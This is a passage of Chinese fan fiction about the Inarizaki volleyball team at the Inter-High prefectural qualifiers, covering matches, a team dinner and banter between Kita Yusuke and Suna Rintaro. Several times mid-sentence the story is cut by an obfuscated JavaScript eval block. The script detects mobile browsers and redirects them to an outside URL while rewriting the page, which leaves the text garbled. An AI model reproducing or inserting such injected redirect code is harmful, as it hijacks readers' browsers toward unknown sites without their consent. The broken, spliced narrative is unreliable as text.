他看了一眼原先在北裕介对面的那个城崎队员,恍然大悟:“让你拦死太多次心态崩了?” 他的声音不大不小,是足够让网前所有人听清的程度。 北裕介绝望的闭了闭眼。 城崎主攻手的脸色变了又变,最后露出半是恼怒半是羞愧的神情。 他吸了口气,话几乎是喊出来的:“我承认你们很厉害,但是我们城崎也不差,以后还会更厉害的!” 北裕介松了口气,幸好没哭,他想了想说道:“你们配合很好啊,还有你的小斜线也是,很漂亮。” 不知道为什么,他面无表情说出来的话却格外真诚。 对面呆了呆,最后超大声的说了句谢谢你! 事情终于圆满解决,北裕介点点头,扯着憋笑的角名伦太郎离开了这个令人尴尬的地方。 宫侑向来不会感觉尴尬,他眉飞色舞的建议:“咱们去吃饭吧,比赛打的超级好,对面都夸咱们厉害!” 尾白阿兰有点无语:“那是在认真的夸咱们吗……” “怎么不是?去不去?” 宫治第一个响应:“去,我的那份你请。” 宫侑默默算了一下刚刚发下来的零花钱:“行!我请就我请!但是你要请我喝饮料。” 宫治无所谓的点点头。 北裕介逼着角名伦太郎同意,顺便拉上了北信介。 黑须法宗看着他们闹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250210|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后拍板决定都去,他请客。 “就当庆祝咱们的IH开了个好头了。” “那教练可得攒好钱,进全国了不得请一顿吗?” 不知道谁开的头,人群里迅速有人响应:“那要是全国冠军教练要请咱们吃大餐哦!” 黑须法宗失笑:“要是真得了全国冠军,就请你们吃烤肉。” “好哎!!” “教练万岁!!” 不管最后的结果怎么样,至少眼前敲诈了教练一顿,都值得庆祝一下。 “祝IH大赛顺利——” 装着果汁饮料的杯子撞在一起,激起一阵欢呼。 趁着其他人吃饭,北裕介光明正大的偷走了角名伦太郎的一只天妇罗。 然后抬头就撞上了北信介的眼睛。 对方若无其事移开了视线,纵容的意味非常明显。 “看,北前辈不想替你主持公道。” 北裕介一本正经的对角名伦太郎说道。 角名伦太郎装模作样的回答:“是啊,好难过啊,这个世界一点也不公平。” 他一边说一边夹走了北裕介的叉烧。 多想吃倒不至于,就是想逗人玩。 果然,对方被逗笑了,露出一个清浅的微笑。 这次做足了准备,角名伦太郎淡定的拿出手机拍了张照片。 北裕介愣了愣,随后有点无语。 “我还以为你只拍有趣的东西。” 角名伦太郎忙着新建一个相册,闻言没过脑子的说道:“你也很有趣啊。” 话刚说出口,他的心脏就猛地跳了跳。 是不是有点轻浮…感觉只有不着调的人才会说出这样的话啊。 北裕介倒是没感觉到不对,他抿了抿嘴:“还没有人这样说过我呢。” 他相当有自知之明,他这个人就是有趣的反义词,是个相当无聊甚至死板的人。 角名伦太郎慌的不行,匆匆的把这个话题带过:“那现在有了。” 北裕介很认真的看着他:“谢谢你啊,角名。” 身边没有什么东西,他就干脆把面前的叉烧又夹给角名伦太郎一块。 角名伦太郎无奈的戳了戳碗里的叉烧。 “不是,我说。” 在对面看了全程的尾白阿兰终于忍不住了:“你们两个能不能吃了,夹来夹去的干什么呢?要不干脆互相喂着吃吧。” 角名伦太郎脸皮厚,面对全桌人的视线只是无所谓的耸耸肩。 北裕介则是另外一个极端,他耳朵通红,差点把自己塞到桌子底下。 角名伦太郎欣赏了一会儿,没忍住又拍了几张照片。 北裕介忍不了了,使劲踩了踩角名伦太郎的脚,咬牙切齿的说道:“快吃饭。” 角名伦太郎苦口婆心:“太容易害羞在稻荷崎是生存不下去的。” 北裕介“啪”的一声把筷子放在角名伦太郎的碗上,一字一句的说道:“快、吃、饭。” 是、是。 角名伦太郎忍者笑点点头,目光终于放在了面前的桌子上,面前装着大麦茶的杯子清楚折射出他含笑的眼睛。 “关系真是好啊——” 尾白阿兰喝着茶感慨,有种莫名其妙的欣慰感。 大概是新队员终于交到好朋友了吧,他感叹道。 16.IH预选赛(2) IH预选赛第二天,第三场。 体育馆的人比昨天多了一些,两边观众席上的人密密麻麻,有些没有座位的人只能站在一旁,但是也丝毫不影响他们的热情。 “所以为什么今天是第三场?” 北裕介扯了扯刚换好的队服,声音略带着一点沙哑。 “你感冒了?”角名伦太郎皱眉说道,又补充上后半句:“咱们第一局轮空了。” “没有,就是没睡好。” 北裕介打了个哈欠,他昨天做梦梦见两个鬼追着他跑,吓醒之后好半天才睡着的。 睡觉睡得好累,北裕介揉着脖子抱怨道:“今天能不能快点打,好想回去补觉啊。” 话音刚落,空气陷入了诡异的沉默。 北裕介心里一咯噔,他缓慢的伸直脖颈,抬起头,果不其然看见了迎面而来的犬伏东一队。 每个人的面色都不太好看的样子。 北裕介绝望的闭了闭眼睛。 他到底做错了什么,要让他面对这样的事情。 角名伦太郎看了一会儿热闹,勉强站出来维持场面。 他冲对面一行人点点头:“好巧,一会比赛见。” 然后推着一脸自闭的北裕介离开了这里。 “哈哈哈哈哈哈哈真的假的?” “裕介,几场比赛下来,县里还有你没得罪过的学校吗?” 一群人简直是围着自己嘲笑,北裕介几乎是从牙缝里挤出了几个字:“你们有完没完?” “没事的裕介,”笑够了,尾白阿兰勉强打起精神安慰他:“其实阿侑得罪过的人更多一点。” 谢谢,但是他并不觉得这是安慰。 北裕介接受了尾白阿兰的好意,然后坐在椅子上装死。 直到比赛开始时才精神起来。 “裕介!” 北裕介迅速起跳,面前的拦网勉强算是半成型,他眼睛都没眨一下,手腕用力,狠厉的扣出这一球。 后排的自由人的反应慢了半拍,只能看着球在眼前落下。 他使劲捶了捶地板,这已经是不知道多少次让对方直接得分了。 “Nice ball!” 宫侑愉快的和北裕介击掌,心里盘算着下一球怎么打。 宫治踩着发球时间的尾巴发球,强劲的跳发弧线十分漂亮。 比赛已经到后期了,对面的应对也更加熟练,至少普通的接球不在话下。 北裕介正在前排,他面前的副攻起跳动作停滞了两秒。 太明显了啊。 北裕介也等了两秒才跟着起跳,球“砰”的一声砸在他的手臂上,发出一声闷响。 球被结结实实的拦死在了对面。 “Nice block!” 宫侑大声喊到,和他击了个掌,然后看着对方退回到了发球位。 有个省心的攻手简直太好了,什么都不用操心…… 等等,那是什么? 看着砸在网上的球,场地陷入了诡异的沉默。 不是压力队友,只是表达一下震惊,毕竟北裕介从来没有在场上失误过。 没错,从来都没有过。 北裕介叹了口气,虚弱的道歉:“抱歉,我的我的。” 没有人回答。 北裕介叹了口气,不过毕竟发球下网这种错误太低级了,就算被指责两句也是正常的…… 一句几乎破音的声音打乱了他的思绪。 “裕介你竟然也会失误?!” 虽然很有道理,尾白阿兰还是试图用正常的思维替北裕介辩解了一句:“阿侑,正常人都会失误的。” 宫侑瞪圆了眼睛:“他像是正常人吗?打球的时候简直和北前辈一模一样!” 这话就太奇怪了吧? 北裕介感觉有点离谱,等着其他人的反驳,但是空气只是又陷入了诡异的沉默。 “对,真不愧是兄弟。” 银岛结看了看宫侑宫治,又看了看北裕介,肯定道。 北裕介无力反驳,只能解释刚刚那个低级的失误: “刚刚打算发球时对面自由人的眼神吓了我一跳,手上就没找准位置。” 很幽怨的神态,好像正在发球的他是个什么十恶不赦的人一样,北裕介实打实的被吓了一大跳。 宫治摆摆手表示理解:“大家都失误过,别在意。” 角名伦太郎跟着点点头:“快点打完这局把,你不是要回去睡觉吗?” 话音刚落,北裕介脸上那种不自在消失了,面色不霁的翻了他一眼。 角名伦太郎闷声笑了一下,转身回到自己的位置。 北裕介在后排,角名伦太郎在前排时是稻荷崎目前进攻能力最强的一轮,宫侑当然不会放过这个得分的好机会。 球温顺的从手上飞出去,刚巧落在想要的地方。 面前是看起来似乎很严密的三人拦网,但是角名伦太郎的脸眼睛都有眨一下,面无表情的越开了拦网扣死了这一球。 拦网的副攻脸色一遍,明明对方和他面对面站着,扣球却能跨越两个人得分。 就像是…… “就像是在玩弄对面的拦网一样。” 场下看球时,北裕介这样形容过角名伦太郎的扣球。 “听起来不像是什么正面的话?” 黑须法宗正在记录的笔停了一下,知道这两个人关系好,打趣着开口。 “怎么会?” 果然,北裕介满眼诧异的回答,又重新把注意力放在场上。 过了好一段时间,长到黑须法宗以为北裕介不会继续讨论这个话题了,才听见对方低低的声线。 “拦网就是要这样才有意思,不管是做对手还是队友。” “队友做了,或许毕业后有机会做对手?” 北裕介的眼睫毛颤了颤,语气很认真:“如果有机会的话。” 黑须法宗笑了笑,重新把目光凝聚在眼前的比赛上,看着场上的两名副攻很有默契的完成了一个毫无破绽的梯次进攻。 “还是还是更适合做队友一些吧……” 北裕介此时也是这么觉得的。 他眼睛亮亮的,看向角名伦太郎:“好配合。” 角名伦太郎顺从的和他击掌,应和道:“确实。” “还有我还有我!我的托球怎么样?” 宫侑突然出现在两个人中间。 北裕介被逗笑了,认真的点点头说道:“超级棒。” “那就好,”宫侑眨眨眼:“下一球会传给你哦,要给我好好起跳扣球啊。” 是宫侑惯用的话术,一半甜腻一半威胁,再加上独特的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260225|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关西腔,总给人一种黏糊糊的感觉。 北裕介默默移开了视线,他一向不会应付感情色彩太浓烈的话,用行动拒绝回答。 宫侑不可思议的看着北裕介,刚想上前就被不忍心继续看热闹的尾白阿兰拖走。 尾白阿兰故作严肃道:“阿治马上就要发球了。” 那确实还是比赛重要一点,宫侑气鼓鼓的回到原位置,打算比赛结束再去好好质问一下对方。 作为攻手就要好好听二传的话啊!队里绝对不能出现第二个角名了! 然后比赛结束就把这事忘了个干干净净。 他对北裕介最后结束比赛的那个扣球满意的不行,夸了又夸,最后被忍不下去的角名伦太郎扔给了宫治。 角名伦太郎看着明显松了口气的北裕介,感觉有点好笑:“他有那么吓人?” “不是吓人,”北裕介有点不好意思的说道:“我不是很擅长应对那种太直来直去的人。” 角名伦太郎挑眉:“那你自己?” 他可没感觉北裕介是什么很含蓄的人,一向是有什么说什么的。 可能会读一点空气,但是不多。 北裕介本人对此理直气壮:“对啊,我也是那种人,那怎么了?” 这话相当不讲理,北裕介自己说完都顿了顿,和角名伦太郎对视之后就彻底绷不住嘴角了。 尾白阿兰被突然笑倒的两个人吓了一跳,感觉队里为数不多的正常人又疯了两个。 他小心翼翼的绕过两人,可能这是什么独特的解压方式吧?还是不要打扰了。 角名伦太郎抬起头:“阿兰肯定觉得咱们两个疯了。” 北裕介陷入了沉默,叹了口气:“真是给信介哥丢大人了。” “叫我吗?”北信介突然出声:“其他人都走了,你们俩在这干什么?” 北裕介和角名伦太郎同时摇摇头。 “信介哥我们俩有点事先走了,家里等你!” 北裕介弯了弯嘴角,拽着角名伦太郎离开了球馆。 “不和北前辈一起走吗?” 北裕介摇摇头:“信介哥每次比赛之后都有事要忙。” 毕竟是队长嘛。 角名伦太郎点点头:“我才知道,原来比完赛北前辈还要去忙。” “对啊,特别辛苦。” 北裕介叹了口气,突然说道:“也不知道下一届谁是队长。” 两人对视一眼,角名伦太郎面无表情的说:“等北前辈毕业我就退部。” 北裕介弯了弯眼睛:“我会转告给信介哥的,他估计都不知道角名你那么喜欢他。” 角名伦太郎看着北裕介的眼睛失神,他还想越来越爱笑了,比刚开学的时候开朗多了。 “角名?” 怎么又在发呆,北裕介有点无奈,用手在他眼前晃了晃。 角名伦太郎握住北裕介的手腕,刚刚说什么来着? 不知道,他淡淡的“嗯”了一声算作回应。 就是不知道对方看向他的眼神不知道为什么变得奇怪了一点。 “那我先回去了,明天见。” 北裕介站在岔路口旁,朝角名伦太郎挥挥手。 “好,早点休息。” 角名伦太郎点点头,看着对方的身影逐渐走远后,才转身走向了反方向。 17.IH预选赛(3) “决赛场的阵势就是大啊。” 铃木结衣这次没有参加应援,眼睛亮亮的看着一旁的吹奏部。 拿着大号小号的吹奏部成员穿着整齐的白体恤,一起看向负责指挥的同学。 除了吹奏方队,旁边还有负责应援加油的方队,拿着亮晶晶的花球和喇叭。 “这还不是最大的阵容呢,全国大赛还要更夸张一点。” 北裕介震惊得不行:这还不够夸张吗? 他看了一圈观众席,最后畏惧的移开了视线。 角名伦太郎低笑了一声,凑近北裕介的耳边说道:“一会儿你就能看见阿侑的发球了。” 他们越是神神秘秘的,北裕介就越好奇。 自从他到稻荷崎以来,还没在看过队友嘴里宫侑发球的大场面呢。 北裕介只知道宫侑发球要安静,所以稻荷崎的排球训练不允许队外的人来旁观。 在他抓心挠肝的等待中,IH预选赛决赛终于开始了。 稻荷崎VS姬路工业,第一场。 稻荷崎先发。 宫侑退回到发球位,北裕介没忍住向后瞥了一眼,又飞快的转回身。 在宫侑站在发球位的同时,身后响起高亢清脆的吹奏声,很有规律,也很有压迫感。 北裕介耸了耸肩,没忍住去观察对面每个人的反应。 他看不见背后宫侑的动作,只不过突然,身旁环绕着的吹奏声停了,整个场馆鸦雀无声,仿佛能听见微弱的呼吸声。 不知道是不是他的错觉,对面的人仿佛都随着静止的气氛僵持在了原地。 这算什么,不仅在实力上压迫,还要玩心理战吗? 身后可以听见清晰的脚步声,北裕介垂着眼睛在心里默数: 一、二、三、四、五、六…… 六步过后,球精准的砸在对面的场地上,发出一阵嗡鸣。 相当漂亮的ACE发球,球落地了,姬路工业的队员才慢慢的反应过来。 宫侑得意的挑挑眉,沉住气,接住身后扔过来的新的排球。 姬路工业的接球只能说是平平无奇,他们的亮点主要在进攻上。 所以,定一个小目标…… 先拿下三分吧。 跳发跳飘接替着发出,等宫侑的发球轮结束,双方的比分已经来到了4:1。 已经算得上是不利的比分,但是姬路工业的气氛堪称冷静。 作为队长的中村海淡定的点点头:“还在预料的范围内,别慌,发个好球。” 伊藤直点点头,退回到发球位。 他们姬路工业和稻荷崎同样作为这次IH预选赛的种子队,已经不知道把对方研究了多少遍了,更是提前练习了很多应对方案。 所以哪怕综合实力不如对方,他也不认为他们会轻易的输掉的。 伊藤直深吸一口气,忽略对面学校的吹奏声,发球对准了二传。 宫侑撇嘴,把球稳稳的接起来,传到了宫治的方向,然后准备助跑起跳。 这对双胞胎平时乱来的例子太多了,自接自扣也不是不可能。 姬路工业的拦网迟疑了一下,跟上了宫侑的脚步。 但是下一秒,球飞向了另一侧的北裕介手里。 拦网在另一边,球贴网扣下,没给出任何补救的机会。 北裕介轻巧的落地,分别和充当做诱饵和二传的宫侑宫治击了个掌。 对面的拦网满脸无奈,北裕介愣了一下,礼貌的朝他点了点头。 然后忽略了对方快要爆炸的反应,退回到发球位。 “发个好球——” 北裕介点点头算作回应,随意的转了转手里的球。 熟悉的手感和场面,就是身后的吹奏有点别扭。 下一秒,在球重重的砸在边界线上又反弹到二楼时,北裕介的想法却是: 他的发球明明很一般,甚至还会失误,为什么教练要把他放在这里呢? 姬路工业等人不知道他内心的想法,呆滞的互相对视。 然后哨声响了,姬路工业申请暂停。 北裕介的表情有点茫然,规规矩矩的拿着球回到了休息区。 角名伦太郎啼笑皆非的看向北裕介:“你把对面都吓到了。” 他用下巴指了指对面,姬路工业的队员围着教练,表情很凝重。 “行了,别死气沉沉的。” 姬路工业的教练忍不住笑了笑,都是十七八岁的孩子,怎么每个人天天都板着个脸。 气氛还是凝滞的,教练收敛了一点笑容,正色道:“别担心,好好打,我相信你们。” 中村海率先点点头:“我们会的,教练。” 队员看着好多了,教练就又开始不正经了。 他笑着说:“哎,对喽,就这样,区区一个发球轮而已,难不倒你们的,加油哦——” 哦字哦的千回百转,中村海的脸木了木:“教练,暂停时间到了,我们先走了。” 他的脚步很快,就像后面有人追一样。 角名伦太郎在慢悠悠的走到网前,看见的就是虽然哨声刚响起,就已经整装待发的姬路工业等人。 这么激动?这么快就有应对方法了吗?不应该啊。 他在心里嘀嘀咕咕,然后双手护住后脑勺,等着后方的发球。 北裕介的发球依旧凌厉,在第三球时被接起打乱。 “好哎,这局我是发球的第一名——” 北裕介感觉麻木又有点无奈:“阿侑,我不记得我要跟你比这个。” 角名伦太郎同情的拍了拍他的肩膀,良心发作的安慰道:“没事,过了这一阵就好了。” 北裕介面无表情拍掉肩膀上的手。 “啊,”角名伦太郎突然捂住手腕,语气毫不波澜的说道:“骨折了,你赔我。” 神经病,北裕介白他一眼,把角名伦太郎推回到他自己的位置。 手腕骨折了的角名伦太郎发挥依旧稳定,快攻得分。 “Nice kill!” 宫侑平等的和每一个得分的攻手击掌。 北裕介面无表情的拉长了音调:“好厉害——残疾人身残志坚打排球。” 角名伦太郎丝毫没有不好意思,大大方方的点点头:“对,我正打算报名这届的残奥会。” 周围爆发出一阵笑声,北裕介无奈的转过头。 宫治压着时间追发对面的二传。 姬路工业其他人代替二传的能力明显一般,威力不够的扣球被角名伦太郎摁死在了网对面。 可惜的是第二球没找准位置,被自由人稳稳接住。 姬路工业的主攻手力道很强劲,球破开拦网,干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264765|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆的砸在了后场。 “别在意!” 角名伦太郎叹了口气:“谢谢,也没有很在意。” 北裕介面无表情的找茬:“你为什么不在意?” 宫侑笑得被口水狠狠的呛了一下,咳嗽得不停。 尾白阿兰担心的拍了拍他的后背,结果用太大力了,对方咳嗽得更厉害了。 场面一度混乱,直到哨声再一次响起,催促稻荷崎发球。 场面僵持了一下,尾白阿兰默默后退到发球位,不敢去看休息区教练的眼神。 黑须法宗无奈的扶额:“怎么感觉他们更疯了。” 北信介想了想:“至少比赛的时候稳重一些了。” 空闲时间疯一点就疯一点吧。 稻尾白阿兰作为稻荷崎的王牌,发球和扣球一样大力,球以极快的速度砸向对面场地。 自由人的胳膊被砸的弯了弯,全力稳住重心,一传半到位。 北裕介眉心跳了跳,盯紧了二传的动作,话几乎是脱口而出:“斜线!” 角名伦太郎反应很快,果然,球在意料之中扣过来,他绷紧手指,结结实实的拦死。 他转过身夸奖:“好判断。” 北裕介点点头,勉为其难的和他击掌。 看着这一幕,宫侑突然有点牙酸:“这两个人一个前排一个后排,到底怎么能配合拦网的?” 尾白阿兰看了他一眼:“你和阿治不行吗?” “当然行!”宫侑不假思索的说道,又皱皱眉:“他们俩才认识多长时间,怎么能跟我和阿治比?” 尾白阿兰犹豫的回答:“命中注定,相见恨晚?” 宫侑沉默了一下:“这词是这么用的吗?” “阿兰你还好意思说我国文不好?!” 尾白阿兰讪讪的笑道:“差不多、差不多就行,我去发球了。” 尾白阿兰重新退回到发球位,目光扫过电子屏上的数字。 12:7,相当不错的开局。 他深吸一口气,下一球的力道依旧不减,卷着风砸向对面。 “好发!一传乱了!” 宫侑大声提醒,然后跟着角名伦太郎一起参与拦网。 球经过拦网,被大大的削弱了力道,北裕介稳稳接住:“阿侑!” 宫侑在网前侧过身,球还没脱手,就在余光里看见了熟悉的身影。 不需要思考,球就已经到对方手里了。 极快的速度甩开了拦网和防守,守住了尾白阿兰的发球轮。 这也是稻荷崎出了名的武器——属于双胞胎的灵魂时间差。 观众席爆发出一阵欢呼声,紧接着就是惊天的吹奏和口号。 北裕介被这动静吓了一跳,缩了缩脖子,然后配合的跟着一起鼓鼓掌。 角名伦太郎无奈的扒拉掉他的手,小声说:“你这样阿侑会越来越兴奋的。” 众所周知,宫侑兴奋起来并不是什么好事。 “哦,”北裕介听话的放下手,突然严肃道:“角名。” “嗯?” “又到阿侑发球了。” 角名伦太郎眨眨眼,不知道是不是他听错了…… “你还挺期待?” 北裕介也无辜的眨眨眼:“可是阿侑发球的时候很安静哎。” 角名伦太郎:…… 18.IH预选赛(4) 比赛越到后期,稻荷崎的状态只会越来越好,每一个人都是。 这是赛前姬路工业就已经知道的事。 但是在后期看到本就凌冽的发球力道丝毫不削弱、甚至还有加强的趋势的时候,只会让人觉得不寒而栗,产生对面正在打球的人是否是人类的想法。 姬路工业的自由人再一次接飞了一个跳飘,只觉得心脏都停止跳动了一瞬。 “别在意别在意,”中村海的声音依旧沉静,莫名让人觉得安心:“下一球。” 自由人活动了一下因为紧张而绷紧的肌肉,目光慢慢重新变得冷静:“是。” 球带着摇摇晃晃的轨迹飘过来,但是弧度并没有上两球大。 他紧紧的盯着球,胳膊绷紧伸直,连眼睛都不敢眨一下,更是放轻了呼吸,仿佛球会被吹跑一样。 终于,球被困住了,稳定的朝着应该运行的轨迹飞去。 伊藤直助跑起跳,将这个来之不易的球狠狠扣向对面的场地。 直到哨声响起,示意己方得分,他才缓慢的放松了脊背,后知后觉的意识到身后满是冷汗。 他依次和队友击掌,注意力还是不免放在对面的球员上。 但是不管怎样,对面的发球轮终于被打破了。 另一侧,宫侑不满的甩了甩手腕。 最后一个跳飘发挥的并不算好,只能算是马马虎虎,差一点都没飘起来。 他偷偷瞥了一眼北裕介,心里像是被猫挠了一样。 也不知道对方式怎么做到连续发跳飘,每一球的质量都差不多的。 是有什么特殊的技巧吗?不应该啊。 在比赛期间,不管是琢磨新打法还是学习新方法都不是什么好的选择,宫侑摇摇头,把奇怪的想法抛之脑后,转而认真的看向对面发球的成员。 这球对准了后排的尾白阿兰。 尾白阿兰有点无奈,又觉得理所当然。 如果要用发球牵制球员的话,受害者首当其冲的就是二传和王牌。 但是在稻荷崎,哪怕是二传接一传也不怎么会被打乱节奏,性价比不高,所以大部分发球都对准了他。 好好的一个王牌主攻手差点就活成自由人了,要知道,他刚开始的一传并不算好。 都是硬生生的练出来的啊。 尾白阿兰在心里抱怨,但是手上老老实实的给出了一个质量相当不错的一传。 “Nice!”宫侑毫不吝啬对队友的夸奖,手腕轻转,球飞向了前排:“裕介!” 北裕介贴着网起跳,前方是两人拦网。 他的眼珠连转都没转,凭借着本能和经验把球打向了拦网的手指尖。 视线和无意识的小动作会影响拦网的决定,哪怕只有那么零点五秒。 北裕介作为副攻,是最清楚这种小动作有多致命的。 同时,他也知道如何克制这种动作和误导对面。 很漂亮的打手出界,球以极快的速度飞出了场地,撞在周围的围挡上。 “Nice ball!” 北裕介点点头,和参与这球的队友击掌,然后走到发球位上。 单手托着球,北裕介扫着对面的人慢慢思考。 跳飘肯定不能再用了,自由人的手感已经上来了。 跳发的话又不能保证百分百得分…… 北裕介轻轻的皱皱眉,觉得有些苦恼。 但是下一秒,排球就带着吓人的旋转,在半空中甩出一道利落的弧线。 “哇,对面自由人的脸色好难看。” 银岛结低着头,小声说道。 赤木路成在和北裕介练习接发球的时候,尾白阿兰因为好奇试着接过几次,他满脸心有余悸,同样放低了声线: “旋转球最难接了,明明已经到手臂上了,球自己就转飞了,一点都不好控制。” 北裕介的发球轮把比分拉倒了21:15,宫侑吹了个口哨,满脸兴奋:“一鼓作气拿下这局!” 北裕介想起教练和信介哥的叮嘱,委婉的提醒:“还是别太着急吧。” “哦。” 宫侑怏怏的应道,默默把脑子里无数个在叫嚣着的念头压下去。 尾白阿兰默默双手合十,感谢上天给他们送来了北裕介。 天知道阿侑乱来的时候有多乱来。 双方的分数稳扎稳打的上升,很快就来到了稻荷崎的赛点,此时正轮到角名伦太郎发球。 “发个好球角名——” 角名伦太郎漫不经心的点点头,走到发球位,在哨声响起的下一秒就把球打了出去。 姬路工业已经很熟悉每个人的发球风格了,再加上普通上手发球的威力不算太大,很轻松的就被接了起来。 二传在身后飞快的比了手势,然后两步移动到位。 副攻在一侧助跑起跳,而王牌在另一侧同时准备进攻。 不止这样,二传靠近网前,二次进攻也不是没有可能…… 几个想法在心里一闪而过,没有丝毫犹豫,北裕介还是遵从了自己最初的想法,把自己硬生生的摁死在了原地。 宫侑在网的另一侧防守快攻,角名伦太郎在他身后补位。 果然,球穿过右翼的副攻,不偏不倚的落在了北裕介身前的王牌手边。 球带着巨大的力道砸向北裕介的手掌,他弯了弯手腕,同时提醒道:“One touch!” 被削弱过力道的球很好接,角名伦太郎移动到位:“我来。” 一传很漂亮,宫侑抬起手腕,球脱手而出,下一秒就到了半空中熟悉的背影的手边。 伊藤直在宫治起跳的瞬间心里就一咯噔,来不及调整姿势就跟着起跳。 ——但是还是晚了一步。 球略过他的手指尖,但是因为接触面积太小,没有被削弱掉多少力道。 可能过了很久,但更大的可能是只过了半秒,伊藤直听见了球落地的声音。 可能是宫治的力道太大了,那声音像是在耳边炸开一样,让他的耳朵都有些嗡鸣。 伊藤直稳住重心落地,听着稻荷崎吹奏部欢快的音乐,半晌都没反应过来。 突然,他被后背的力道打了一个踉跄。 伊藤直茫然的抬头,不出所料的看见了中村海。 “干什么呢垂头丧气的,这才第一局。” 中村海把不小心落在场上的队员领回休息区:“休息休息,让一追二,没问题吧?” 伊藤直用力的点了点头,不自觉的看了一眼黑色队伍的对手们。 北裕介喝了口水,正半倚在角名伦太郎身上。 其实他刚开始不是这个姿势,只是借了一点点力,但是对方大张旗鼓的宣传他霸凌,他就干脆直接靠在人身上了。 他这就让角名伦太郎看看什么叫真正的霸凌,北裕介面无表情的想道。 黑须法宗扫了一圈队员,在看向他们俩这个别扭的姿势的时候愣了一下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271018|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “裕介?没事吧?” 以对方的体力应该没什么问题吧?黑须法宗不确定的想道。 “没问题的教练。” 北裕介迅速坐直,暗暗的推了一把偷笑着的某人。 那就好,黑须法宗点点头:“你们放心打,别太上头就好,没什么问题。” 宫侑定住了一下,丝毫不心虚的第一个响应:“好的教练!” 休息时间还有一会儿,北裕介百无聊赖的整理了一下护膝,顺便把鞋带解开又重新系了一下,防止比赛的时候突然散开。 角名伦太郎也没什么事做,所以他解开了北裕介刚刚系好的鞋带。 北裕介:? 他气笑了:“你烦不烦人?” 角名伦太郎一点都不心虚,他一本正经的说:“你绑的太松了,一会儿肯定会开的,别绊倒了。” 可去他的吧,北裕介气的狠狠推了他一把,把腿伸直到角名伦太郎面前: “你给我重新系上,不然我就去和信介哥告状。” 宫侑在一旁笑得超大声:“角名、裕介你们俩好像小学生啊哈哈哈哈——” 角名伦太郎懒得理他,认认真真的给北裕介系鞋带。 面前的腿又细又直,上面遍布的肌肉不会看着笨重,反而显得腿型更好看了。 角名伦太郎面无表情的系好了一个蝴蝶结,抬眼道:“怎么样?” 北裕介晃了晃脚腕,仔细看了看,确实比他自己系的好看多了。 “行吧,原谅你了。” “那太感谢了。” 两个人一来一回的说着话,没注意宫治投过去的一个略显惊悚的眼神。 他扒拉了一下自己兄弟,低声说:“你感没感觉角名有点不对劲,跟被夺舍了一样。” 宫侑认真的思考了一下,在对方愈发期待的眼神里认真说道:“是有点,今天在场上积极了不少,阿治你要学学啊。” 宫治:…… 他无语的摆摆手,叹了口气。 他就不该指望这个排球脑子里有什么别的东西。 两局间隔的时间不算特别长,片刻后,两支队伍重新回到场上,开始第二局比赛。 这局是姬路工业先发,所以稻荷崎的站位做了略微的调整,整支队伍依次向左移了一下。 赤木路成稳稳接住发球,送到了宫侑手边。 北裕介在靠近宫侑的位置站着,后退两步助跑起跳。 宫侑余光中注意到他的动向,干脆利索的传了一个短平快。 几乎是眨眼的瞬间,球就已经砸在了对面场地。 “Nice配合!” 确实是好配合,北裕介心情愉快的和宫侑击掌。 不用费劲心思的得分就是让人身心舒畅。 宫侑满面笑意的退回到发球位,几分钟后满脸阴沉的回来。 “行了,两分还不够吗?都第二局了。” 尾白阿兰有点哭笑不得,站出来开解了两句。 宫侑撇嘴,把矛头对准了下一个发球的北裕介:“裕介!你发球要给我拿下三分啊!” 北裕介头不抬眼不睁,当做没听见。 “更不要压迫队友啊!” 场面一度混乱,直到裁判警告的哨声响起,稻荷崎半场才瞬间安静下来。 队长不在场上,尾白阿兰硬着头皮站出来给裁判鞠了个躬道歉。 然后在心里泪流满面。 好想北啊—— 19.IH预选赛(5) 很可惜,场上只有一位姓北的球员,此刻正在准备发球。 球被抛向半空,北裕介助跑两步,脚尖用力蹬地后整个人腾空,掌心狠狠的砸在球面上,发出一声清脆的巨响。 